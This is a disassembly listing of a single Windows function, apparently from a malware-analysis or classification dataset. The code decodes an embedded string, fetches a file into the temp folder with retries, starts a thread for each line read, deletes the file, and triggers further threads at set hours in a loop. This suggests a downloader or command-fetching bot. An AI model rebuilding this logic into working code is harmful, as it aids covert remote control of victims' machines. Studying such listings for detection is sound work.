Function at 0x4014dc
Capabilities:
Create thread
Delete file
Get common file path

Disassembly:
mov eax, 0x402395
call fcn.00402350
sub esp, 0x758
push ebx
push esi
mov esi, 0xff
xor ebx, ebx
push esi
lea eax, [ebp - 0x2d4]
push ebx
push eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x664]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x564]
push ebx
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x764]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x190
lea eax, [ebp - 0x464]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x2d4]
push 0x400568
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x44
lea eax, [ebp - 0x664]
push eax
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2d4]
push eax
call fcn.00400be3
lea eax, [ebp - 0x564]
push eax
lea eax, [ebp - 0x664]
push eax
call fcn.00400a3e
lea eax, [ebp - 0x764]
push eax
lea eax, [ebp - 0x564]
push eax
call fcn.00400aeb
lea eax, [ebp - 0x764]
push eax
lea eax, [ebp - 0x464]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x464]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x28
test eax, eax
ja 0x4015d6
xor eax, eax
jmp 0x4017b3
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, 0x401d12
lea eax, [ebp - 0x1d4]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x1d4]
push eax
push ebx
lea eax, [ebp - 0x1d4]
push 0x400770
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x464]
push eax
call fcn.00400dd7
pop ecx
cmp eax, 1
pop ecx
je 0x401635
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40160e
push 1
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_void_]
lea eax, [ebp - 0x1d4]
push 1
push eax
lea ecx, [ebp - 0xd0]
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_char_const___int_]
cmp dword [ebp - 0x78], ebx
je 0x4017a0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xcc], 1
jne 0x4016d9
mov al, byte [ebp - 0x25]
push ebx
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x3c], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_istream_char__struct_std::char_traits_char______cdecl_std::getline_class_std::basic_istream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____
cmp dword [ebp - 0x34], ebx
pop ecx
pop ecx
jbe 0x4016c9
mov eax, dword [ebp - 0x38]
cmp eax, ebx
jne 0x4016ae
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [ebp - 0x40]
push ecx
push ebx
push eax
push 0x4017c1
push ebx
push ebx
call esi
push 0x1d4c0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x401664
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
lea eax, [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCRT.dll_localtime]
mov eax, dword [eax + 8]
pop ecx
cmp eax, 0xa
pop ecx
mov dword [ebp - 0x10], eax
jne 0x401724
cmp dword [ebp - 0x1c], 2
jg 0x401780
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x10], 0xd
jne 0x40173b
cmp dword [ebp - 0x24], 2
jg 0x401780
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x10], 0x10
jne 0x401752
cmp dword [ebp - 0x14], 2
jg 0x401780
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x10], 0x13
jne 0x401769
cmp dword [ebp - 0x18], 2
jg 0x401780
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x10], 0x18
jne 0x401780
cmp dword [ebp - 0x20], 2
jg 0x401780
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call esi
inc dword [ebp - 0x20]
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
jmp 0x4015e2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
xor eax, eax
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret